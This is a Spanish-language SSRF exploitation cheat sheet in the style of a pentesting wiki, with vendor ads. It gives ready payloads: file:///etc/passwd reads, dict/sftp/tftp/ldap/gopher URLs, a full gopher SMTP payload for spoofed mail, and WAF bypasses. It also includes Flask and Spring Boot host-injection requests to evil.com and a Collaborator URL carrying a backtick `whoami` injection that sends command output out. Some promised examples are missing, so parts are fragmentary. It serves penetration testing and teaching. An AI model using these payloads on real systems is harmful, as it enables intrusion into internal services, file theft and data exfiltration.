Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
Una vulnerabilidad de Server-side Request Forgery (SSRF) ocurre cuando un atacante manipula una aplicación del lado del servidor para realizar solicitudes HTTP a un dominio de su elección. Esta vulnerabilidad expone al servidor a solicitudes externas arbitrarias dirigidas por el atacante.
Captura de SSRF
Lo primero que necesitas hacer es capturar una interacción SSRF generada por ti. Para capturar una interacción HTTP o DNS puedes usar herramientas como:
Por lo general, encontrarás que el SSRF solo funciona en ciertos dominios o URL en la lista blanca. En la siguiente página tienes una compilación de técnicas para intentar eludir esa lista blanca:
Si el servidor está correctamente protegido, podrías eludir todas las restricciones explotando una Redirección Abierta dentro de la página web. Debido a que la página web permitirá SSRF al mismo dominio y probablemente seguirá redirecciones, puedes explotar la Redirección Abierta para hacer que el servidor acceda a cualquier recurso interno.
Lee más aquí: https://portswigger.net/web-security/ssrf
Protocolos
file://
El esquema de URL file:// se refiere, apuntando directamente a /etc/passwd: file:///etc/passwd
dict://
El esquema de URL DICT se describe como utilizado para acceder a definiciones o listas de palabras a través del protocolo DICT. Un ejemplo dado ilustra una URL construida que apunta a una palabra específica, base de datos y número de entrada, así como un caso de un script PHP que podría ser potencialmente mal utilizado para conectarse a un servidor DICT utilizando credenciales proporcionadas por el atacante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identificado como un protocolo para la transferencia segura de archivos a través de un shell seguro, se proporciona un ejemplo que muestra cómo un script PHP podría ser explotado para conectarse a un servidor SFTP malicioso: url=sftp://generic.com:11111/
TFTP://
Se menciona el Protocolo de Transferencia de Archivos Trivial, que opera sobre UDP, con un ejemplo de un script PHP diseñado para enviar una solicitud a un servidor TFTP. Se realiza una solicitud TFTP a 'generic.com' en el puerto '12346' para el archivo 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Este segmento cubre el Protocolo de Acceso a Directorios Ligero, enfatizando su uso para gestionar y acceder a servicios de información de directorios distribuidos a través de redes IP. Interactúa con un servidor LDAP en localhost: '%0astats%0aquit' a través de ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Se describe un método para explotar vulnerabilidades SSRF para interactuar con servicios SMTP en localhost, incluyendo pasos para revelar nombres de dominios internos y acciones de investigación adicionales basadas en esa información.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - Bypass de WAF
Si el SSRF es ejecutado por curl, curl tiene una característica llamada URL globbing que podría ser útil para eludir WAFs. Por ejemplo, en este writeup puedes encontrar este ejemplo de traversal de ruta a través del protocolo file:
Se discute la capacidad del protocolo Gopher para especificar IP, puerto y bytes para la comunicación con el servidor, junto con herramientas como Gopherus y remote-method-guesser para crear payloads. Se ilustran dos usos distintos:
Gopher://
Usando este protocolo puedes especificar la IP, puerto y bytes que deseas que el servidor envíe. Luego, básicamente puedes explotar un SSRF para comunicarte con cualquier servidor TCP (pero necesitas saber cómo hablar con el servicio primero).
Afortunadamente, puedes usar Gopherus para crear payloads para varios servicios. Además, remote-method-guesser se puede usar para crear payloads gopher para servicios Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
El software de análisis en los servidores a menudo registra el encabezado Referrer para rastrear enlaces entrantes, una práctica que expone inadvertidamente a las aplicaciones a vulnerabilidades de Server-Side Request Forgery (SSRF). Esto se debe a que dicho software puede visitar URLs externas mencionadas en el encabezado Referrer para analizar el contenido del sitio de referencia. Para descubrir estas vulnerabilidades, se recomienda el complemento de Burp Suite "Collaborator Everywhere", aprovechando la forma en que las herramientas de análisis procesan el encabezado Referer para identificar posibles superficies de ataque SSRF.
SSRF a través de datos SNI del certificado
Una mala configuración que podría habilitar la conexión a cualquier backend a través de una configuración simple se ilustra con un ejemplo de configuración de Nginx:
En esta configuración, el valor del campo de Indicación de Nombre del Servidor (SNI) se utiliza directamente como la dirección del backend. Esta configuración expone una vulnerabilidad a Server-Side Request Forgery (SSRF), que puede ser explotada simplemente especificando la dirección IP o el nombre de dominio deseado en el campo SNI. A continuación se muestra un ejemplo de explotación para forzar una conexión a un backend arbitrario, como internal.host.com, utilizando el comando openssl:
Puede valer la pena probar una carga útil como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderización de PDFs
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes insertar algo de JS que será ejecutado por el creador de PDF (el servidor) mientras crea el PDF y podrás abusar de un SSRF. Encuentra más información aquí.
De SSRF a DoS
Crea varias sesiones y trata de descargar archivos pesados explotando el SSRF desde las sesiones.
Funciones PHP de SSRF
Consulta la siguiente página para funciones PHP vulnerables e incluso funciones de Wordpress:
Para algunas explotaciones, puede que necesites enviar una respuesta de redirección (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
</details>
Flask permite usar **`@`** como carácter inicial, lo que permite hacer que **el nombre de host inicial sea el nombre de usuario** e inyectar uno nuevo. Solicitud de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Código vulnerable:
Se descubrió que es posible iniciar la ruta de una solicitud con el carácter ; lo que permite usar luego @ e inyectar un nuevo host al que acceder. Solicitud de ataque:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close